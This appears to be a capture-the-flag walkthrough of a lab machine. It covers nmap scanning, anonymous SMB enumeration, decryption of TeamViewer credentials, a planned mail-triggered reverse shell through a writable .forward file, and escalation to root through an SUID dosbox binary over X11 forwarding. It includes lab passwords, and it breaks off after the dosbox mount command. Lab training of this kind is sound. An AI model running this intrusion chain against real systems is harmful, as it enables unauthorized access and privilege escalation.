$ nmap -p- --min-rate 3000 -Pn 192.168.157.157
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-14 13:51 +08
Nmap scan report for 192.168.157.157
Host is up (0.17s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
139/tcp open netbios-ssn
445/tcp open microsoft-d
We might need to exploit SMTP to 'forward' messages.
SMB Shares -> Teamviewer Creds
There's one share readable with NULL credentials.
$ smbmap -H 192.168.157.157
[+] IP: 192.168.157.157:445 Name: 192.168.157.157
Disk Permissions Comment
---- ----------- -------
utils READ ONLY Utilities
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (Samba 4.9.5-Debian)
Within it, there were some files present:
$ smbclient -N //192.168.157.157/utils
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Dec 18 16:26:48 2020
.. D 0 Fri Dec 18 15:48:44 2020
fox.reg N 10634 Fri Dec 18 15:48:44 2020
TeamViewer_Setup_v7.exe N 5024832 Fri Dec 18 15:48:44 2020
mara.reg N 10408 Fri Dec 18 15:48:44 2020
vale.reg N 10206 Fri Dec 18 15:48:44 2020
golemitratigunda.reg N 10206 Fri Dec 18 15:48:44 2020
alberobello.reg N 10206 Fri Dec 18 15:48:44 2020
giammy.reg N 10312 Fri Dec 18 15:48:44 2020
README.all N 165 Fri Dec 18 15:53:55 2020
We can download all of these files to our machine.
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
We can first view the README.all:
$ cat README.all
each of you has to install TeamViewer and then import your own registry key for automatic configuration.
Don't worry about the password, it's well encrypted!
Root!
TeamViewer credentials can actually be decrypted.
We can use parts of the script above to decrypt our files:
The password above is for the user fox, and using those credentials grants us access to another SMB Share.
$ smbmap -H 192.168.157.157 -u fox -p iparalipomenidellabatracomiomachia
[+] IP: 192.168.157.157:445 Name: 192.168.157.157
Disk Permissions Comment
---- ----------- -------
utils READ ONLY Utilities
print$ READ ONLY Printer Drivers
IPC$ NO ACCESS IPC Service (Samba 4.9.5-Debian)
fox READ, WRITE Home Directories
New Shares -> Forward Shell
This print$ share has some interesting stuff:
$ smbclient -U fox //192.168.157.157/print$
Password for [WORKGROUP\fox]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jan 9 02:03:48 2021
.. D 0 Tue Jul 4 04:18:20 2023
W32X86 D 0 Sat Jan 9 02:03:48 2021
IA64 D 0 Mon Sep 2 21:39:42 2019
x64 D 0 Sat Jan 9 02:03:48 2021
COLOR D 0 Mon Sep 2 21:39:42 2019
W32PPC D 0 Mon Sep 2 21:39:42 2019
WIN40 D 0 Mon Sep 2 21:39:42 2019
W32MIPS D 0 Mon Sep 2 21:39:42 2019
W32ALPHA D 0 Mon Sep 2 21:39:42 2019
color D 0 Sat Jan 9 02:03:48 2021
But I couldn't make sense of any of those. Let's check the fox share next:
$ smbclient -U fox //192.168.157.157/fox
Password for [WORKGROUP\fox]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jul 14 14:11:46 2023
.. D 0 Sat Jan 9 02:04:11 2021
.bashrc H 3526 Fri Dec 18 15:48:44 2020
.Xauthority H 53 Tue Aug 10 05:55:45 2021
.bash_history H 0 Tue Jul 4 04:15:25 2023
.profile H 807 Fri Dec 18 15:48:44 2020
local.txt N 33 Fri Jul 14 13:51:10 2023
.local DH 0 Tue Aug 24 18:20:56 2021
.dosbox DH 0 Tue Aug 10 05:55:54 2021
.bash_logout H 220 Fri Dec 18 15:48:44 2020
.gnupg DH 0 Tue Aug 10 05:40:39 2021
.forward AH 25 Tue Aug 24 18:23:05 2021
There's an interesting folder called .forward present.
$ cat .forward
| /usr/bin/procmail -f-
I read more about this file here:
Whenever the user receives mail, this output of the mail is piped to this binary. Since we have write access over the fox share, we can replace this with our own reverse shell.
Earlier I saw a .dosbox file within the fox share, so I checked whether it was an SUID binary:
fox@forward:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/dosbox
To exploit this, we need some form of GUI but RDP and VNC are both not available on this machine. Googling for 'SSH Dosbox Forwarding' brought up this Reddit post referring to x11:
Reading the manual for ssh reveals the -X flag is for x11 forwarding:
-X Enables X11 forwarding. This can also be specified on a
per-host basis in a configuration file.
X11 forwarding should be enabled with caution. Users with
the ability to bypass file permissions on the remote host
(for the user's X authorization database) can access the
local X11 display through the forwarded connection. An
attacker may then be able to perform activities such as
keystroke monitoring.
For this reason, X11 forwarding is subjected to X11
SECURITY extension restrictions by default. Refer to the
ssh -Y option and the ForwardX11Trusted directive in
ssh_config(5) for more information
In short, this allows us to spawn the GUI needed to exploit this. Dropping our SSH key doesn't work, so we need to find creds for fox.
The /home directory had some other users, and one had a .bash_history folder:
fox@forward:/home$ ls
alberobello fox giammy golemitratigunda mara vale
fox@forward:/home$ ls -la *
<TRUNCATED>
mara:
total 12
drwxr-xr-x 2 root root 4096 Dec 18 2020 .
drwxr-xr-x 8 root root 4096 Jan 8 2021 ..
-rw-r--r-- 1 root root 64 Dec 18 2020 .bash_history
fox@forward:/home/mara$ cat .bash_history
sshh mara@192.168.0.191
CIARLARIELLOkj99
ssh mara@192.168.0.191
This password works for fox.
Dosbox SUID -> Root
We can use the -X option after finding the user's password:
I tested by running dosbox, which spawns the GUI for me:
We can then run this:
dosbox-c'mount c /'-c"type c:$LFILE"
This would mount the Linux file system within the C Drive of the termnal: